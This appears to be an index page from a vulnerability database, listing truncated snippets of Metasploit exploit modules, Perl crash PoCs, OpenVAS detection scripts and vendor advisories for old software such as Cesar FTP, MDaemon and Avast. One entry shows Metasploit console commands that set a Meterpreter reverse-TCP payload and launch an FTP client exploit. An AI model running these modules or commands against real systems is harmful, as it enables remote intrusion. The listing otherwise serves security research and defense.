Cesar FTP 0.99g MKD Command Buffer Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Cesar FTP...

MDaemon 9.6.4 IMAPD FETCH Buffer Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'MDaemon 9.6....

MaxDB WebDBM Database Parameter Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'MaxDB WebDBM...

Firefox integer underflow in FTP directory list parser

Multiple unspecified vulnerabilities in WebKit in Apple Safari before 4.0.4 on Windows allow remote FTP servers to execute arbitrary code, cause a denial of service application crash, or obtain sensitive information via a crafted directory listing in a reply...

EMC Retrospect Client Crafted Packet Buffer Overflow (CVE-2006-2391)

The EMC Retrospect suite is a system designed to automate backup operations in an enterprise environment. The system is comprised of a server and multiple clients, also known as agents. The server initiates operations on the client, including backup of the files, clock synchronization, and variou...

Shibboleth Service Provider Version Detection

This script detects the installed version of Shibboleth Service Provider. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

DJ Studio Pro 4.2 Crash

!/usr/bin/perl -w DJ Studio Pro 4.2 .PLS file Crash Vulnerability Exploit Founded and exploited by prodigy Contact: [email protected] Vendor: http://www.e-soft.co.uk/ Usage to reproduce the bug: when you created the malicious file, load the file and boooom! Platform: Windows ==PoC== use...

DJ Studio Pro 4.2 (.PLS file) Local Crash Exploit

No description provided by source. !/usr/bin/perl -w DJ Studio Pro 4.2 .PLS file Crash Vulnerability Exploit Founded and exploited by prodigy Contact: [email protected] Vendor: http://www.e-soft.co.uk/ Usage to reproduce the bug: when you created the malicious file, load the file and...

Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager

Inject a VNC Dll via a reflective loader Windows x64 staged. Listen for a connection Windows x64 This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 483 include Msf::Payload::Stager...

Avast! 4.8.1335 Professional Edition core buffer overflow vulnerability-vulnerability warning-the black bar safety net

Avast! 4.8.1335 Professional Edition file system filter driver to the presence of local kernel buffer overflow vulnerability this vulnerability allows the intruder in the Windows platform with a limited user account to gain system privileges. include stdio. h include windows. h include winioctl. ...

CA20090818-01: Security Notice for CA Host-Based Intrusion Prevention System

CA20090818-01: Security Notice for CA Host-Based Intrusion Prevention System Issued: August 18, 2009 CA's technical support is alerting customers to a security risk with CA Host-Based Intrusion Prevention System. A vulnerability exists that can allow a remote attacker to cause a denial of service...

Novell Client NetIdentity Agent XTIERRPCPIPE pointer dereference vulnerability

Added: 07/24/2009 CVE: CVE-2009-1350 BID: 34400 OSVDB: 53351 Background Novell Client software provides NetWare connectivity to Windows platforms. Problem A vulnerability in the xtagent.exe program allows remote, authenticated attackers to execute arbitrary commands by sending a specially crafted...

Acoustica MP3 Audio Mixer 2.471 - .sgp Crash

Acoustica MP3 Audio Mixer 2.471 - .sgp Crash !/usr/bin/perl -w Acoustica MP3 Audio Mixer 1.0 .sgp file Crash Vulnerability Exploit Founded and exploited by prodigy Contact: [email protected] Vendor: www.acoustica.com Usage to reproduce the bug: when you created the malicious file, open i...

MixSense 1.0.0.1 DJ Studio Crash

!/usr/bin/perl -w MixSense 1.0.0.1 DJ Studio .mp3 file Crash Vulnerability Exploit Founded and exploited by prodigy Contact: [email protected] Vendor: MixSense Usage to reproduce the bug: when you created the malicious file, open with Mixsense and booom! Platform: Windows ==PoC== use...

32bit FTP - 'PASV' Reply Client Remote Overflow (Metasploit)

msf use exploit/windows/ftp/32bitftppasvreply msf exploit32bitftppasv set PAYLOAD windows/meterpreter/reversetcp PAYLOAD = windows/meterpreter/reversetcp msf exploit32bitftppasv set LHOST 192.168.1.2 LHOST = 192.168.1.2 msf exploit32bitftppasv exploit Exploit running as background job. msf...

Blazevideo HDTV Player PLF File Buffer Overflow Vulnerability

This host is running Blazevideo HDTV Player and is prone to buffer overflow vulnerability. OpenVAS Vulnerability Test $Id: gbblazevideohdtvplfbofvuln.nasl 4865 2016-12-28 16:16:43Z teissa $ Blazevideo HDTV Player PLF File Buffer Overflow Vulnerability Authors: Nikita MR Copyright: Copyright c 200...

Blazevideo HDTV Player PLF File Buffer Overflow Vulnerability

Blazevideo HDTV Player is prone to a buffer overflow vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Free Download Manager Torrent Parsing Buffer Overflow

This module exploits a stack buffer overflow in Free Download Manager 3.0 Build 844. Arbitrary code execution could occur when parsing a specially crafted torrent file. Module Options msf use exploit/windows/fileformat/fdm/torrent msf undefinedtorrent show actions ...actions... msf undefinedtorre...

NCTVideoStudio ActiveX DLLs 1.6 Insecure Method File Creation Exploit

No description provided by source. HTML b NCTVideoStudio ActiveX DLLs Version 1.6 Insecure Method File Creation /b b br/br/ Author : Mountassif Moad a.k.a Stack br/ br/ br/ b/ RegKey Safe for Script: Falsebr/ RegKey Safe for Init: Falsebr/ Implements IObjectSafety: Truebr/ IDisp Safe: Safe for...

BulletProof FTP客户端.bps文件处理栈溢出漏洞

BUGTRAQ ID: 33024 BulletProof FTP Server之前名为G6 FTP Server，是一款全功能的Windows平台FTP服务器软件。 如果用户受骗使用BulletProof FTP Server的客户端加载了恶意的.bps文件的话，就可能触发栈溢出，导致执行任意指令。 BulletProof FTP Client BulletProof Software -------------------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.bpftp.com/...